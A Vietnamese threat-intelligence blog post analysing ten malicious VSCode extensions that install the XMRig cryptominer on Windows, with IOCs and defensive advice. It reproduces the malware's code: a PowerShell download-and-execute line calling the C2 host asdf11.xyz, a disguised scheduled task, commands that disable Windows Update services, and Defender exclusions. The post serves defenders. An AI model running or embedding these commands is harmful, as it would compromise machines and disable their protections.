Skip to main content

Command Palette

Search for a command to run...

Nguy hiểm rình rập: Tiện ích VSCode chứa mã độc đào tiền ảo tấn công Windows

Updated
5 min read
Nguy hiểm rình rập: Tiện ích VSCode chứa mã độc đào tiền ảo tấn công Windows

Tổng quan

Gần đây các lập trình viên đang bị nhắm tới bởi một chiến dịch đào tiền ảo phức tạp, được ẩn giấu bên trong các tiện ích (extension) của VSCode. Chiến dịch tấn công này ước tính đã ảnh hưởng tới hơn 1 triệu người dùng. 10 tiện ích độc hại giả mạo những tiện ích hợp lệ, lây nhiễm công cụ đào tiền ảo XMRig cho Monero và chúng có thể được tải xuống từ VSCode Marketplace. Cuộc tấn công này rất tinh vi vì thực hiện nhiều bước phức tạp, cài đặt cả những tiện ích hợp pháp để tránh bị phát hiện.

Cách thức lây nhiễm

Những tiện ích này được công khai trên VSCode Marketplace vào 04/04/2025 và được phát hiện bởi Yuval Ronen, một nhà nghiên cứu tới từ ExtensionTotal. Dưới đây là 10 tiện ích độc hại bị phát hiện:

  1. Prettier - Code for VSCode (by prettier) - 955K lượt cài đặt

  2. Discord Rich Presence for VS Code (by Mark H) - 189K lượt cài đặt

  3. Rojo – Roblox Studio Sync (by evaera) - 117K lượt cài đặt

  4. Solidity Compiler (by VSCode Developer) - 1.3K lượt cài đặt

  5. Claude AI (by Mark H)

  6. Golang Compiler (by Mark H)

  7. ChatGPT Agent for VSCode (by Mark H)

  8. HTML Obfuscator (by Mark H)

  9. Python Obfuscator for VSCode (by Mark H)

  10. Rust Compiler for VSCode (by Mark H)

Những tiện ích này giả mạo những công cụ lập trình phổ biến. Một khi được cài đặt, chúng sẽ tải và thực thi một PowerShell script, cài đặt tiện ích hợp lệ mà chúng sẽ giả mạo và đồng thời thiết lập công cụ đào tiền ào XMRig từ máy chủ C2 tại https://asdf11[.]xyz/

function activate(context) {
  // Register the command to execute the PowerShell Loader and install the extension
  let disposable = vscode.commands.registerCommand('hubtestmanagerex.runCmd', async function () {
    if (process.platform === 'win32') {
      const cmdCommand = 'powershell -Command "irm <https://asdf11.xyz/> | iex"';
potry {
        // Execute the command to download and execution the PowerShell Loader
        await executeCmdCommand(cmdCommand);
        // After the PowerShell Loader has been executed, install the Solidity extension
        const extensionId = 'icrawl.discord-vscode'; // The identifier for the Solidity extension
        await installExtension(extensionId);

      } catch (error) {
        vscode.window.showErrorMessage(`Failed to execute command: ${error.message}`);
      }
    }
  });

PowerShell script này chịu trách nhiệm cho việc duy trì sự hoạt động, tránh bị phát hiện, leo thang đặc quyền và thực thi. Để duy trì hoạt động, nó sẽ tạo một tác vụ tên là “OnedriveStartup“ chạy mỗi khi máy tính khởi động (giả mạo phần mềm OneDrive)

Start-Process "cmd.exe" -ArgumentList "/c schtasks /create /tn `"OnedriveStartup`" /tr `"$qZVhfWBWTd5ptqbWRS8gzsNWK7JScbLgtuxRRD`" /sc ONLOGON /RL HIGHEST /F" -WindowStyle Hidden

Tạo và chạy script từ Registry Entry

Start-Process "cmd.exe" -ArgumentList "/c reg add ""HKCU\\Software\\Microsoft"" /v ""Version"" /t REG_SZ /d $uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp /f" -WindowStyle Hidden

Để tránh bị phát hiện, nó sẽ vô hiệu hóa dịch vụ Windows Security

# Stops the Windows Update Service and disables it from starting
Stop-Service -Name wuauserv -Force
Set-Service -Name wuauserv -StartupType Disabled

# Modifies registry to disable the Windows Update Medic Service
Start-Process "cmd.exe" -ArgumentList '/c reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f' -WindowStyle Hidden

# Stops and disables the Update Orchestrator Service
Stop-Service -Name UsoSvc -Force
Set-Service -Name UsoSvc -StartupType Disabled

Đồng thời nó cũng thêm thư mục được tạo vào trong Windows Defenders Exclusion Path

Start-Process "cmd.exe" -ArgumentList "/c powershell -Command ""Add-MpPreference -ExclusionPath '%localappdata%\\$uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp'""" -WindowStyle Hidden

Start-Process "cmd.exe" -ArgumentList "/c reg add `"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths`" /v `"%localappdata%\\$uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp`" /t REG_SZ /d 0 /f" -WindowStyle Hidden

Để leo thang đặc quyền, nó sẽ thực thi mã độc dưới quyền Administrator. Nếu không có quyền đó, nó sẽ tạo một thư mục System32 khác và sao chép file ComputerDefault.exe vào trong đó. Sau đó script sẽ tạo một DLL tên là MLANG.dll và thực thi sử dụng ComputerDefault.

Trong PowerShell script có chứa thông tin DLL và Trojan dưới dạng mã hóa Base64. Nó sẽ giải mã Trojan dưới tên Launcher.exe và viết vào trong thư mục được loại trừ trong Windows Defender. Launcher.exe sau đó được thực thi và kết nối tới C2 server myaunet[.]su, tải và thực thi công cụ XMRig.

Khuyến nghị

Với việc các cuộc tấn công gần đây đang ngày càng phức tạp, tinh vi khiến cho người dùng dễ bị lợi dụng để cài đặt các phần mềm, tiện ích giả mạo và gây ảnh hưởng an toàn thông tin. Phía FPT Threat Intelligence đưa ra các khuyến nghị sau:

  • Cập nhật danh sách IOC bên dưới bài viết.

  • Cần kiểm tra kỹ các phần mềm, tiện ích trước khi cài đặt.

  • Thường xuyên cập nhật các thông tin an ninh mạng, các cuộc tấn công mới gần đây để có kế hoạch ứng phó.

IOC

VSCode package:

  • prettierteam.prettier

  • markh.chatgpt-autocoder-vscode

  • markh.claude-autocoder-vscode

  • markh.discord-rich-presence-vs

  • markh.golang-compiler-vscode

  • markh.html-obfuscator-vscode

  • markh.python-obfuscator-vscode

  • markh.rust-compiler-vs

  • evaera-rbx.vscode-rojo-rbx

  • vscodedeveloper.sobidity-compiler

File Hash

2d17f0cb6c8d9488f2d101b90052692049b0c4bd9bf4949758aae7b1fd936191Launcher.exe / myau.exe
d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1xmrig.exe
bb757c6338491170072e8b743ea2758eebaeb1472ba6b421c950c79a3daed853evil.ps
26111b28f6c507ea68e7c8a0f3ad64fb0d7b694d7f703bc626d871c4e1502dc2PowerShell
0c05365ea9c1162b10d93ffdc93eb4207b61062d35dbf6d424ad15e3342ecb70asdf11.ps1
b98dfc7ed18d6d30490fc2b997fbeae36541335bd05a94624da8b808e818d094malware.ps1
71b48bc26f4a4f9759eaf35f44e7cebf4f18e1a74ab2c902f91404ca8ceb3a4ePowerShell
13db408a3232ea31aab8edc648b6c315782db9516e1c08c6bd667e17f5dd147coutput.exe
515e6d58b720d5e125602621b28fa37a669efed508e983b8c3136bea80d46640DLL

C2 Server

  • asdf11[.]xyz

  • myaunet[.]su

Tham khảo

https://blog.extensiontotal.com/mining-in-plain-sight-the-vs-code-extension-cryptojacking-campaign-19ca12904b59

https://www.bleepingcomputer.com/news/security/malicious-vscode-extensions-infect-windows-with-cryptominers/

Newsletters

Part 1 of 50

More from this blog

F

FPT IS Security

721 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.

Nguy hiểm rình rập: Tiện ích VSCode chứa mã độc đào tiền ảo tấn công Windows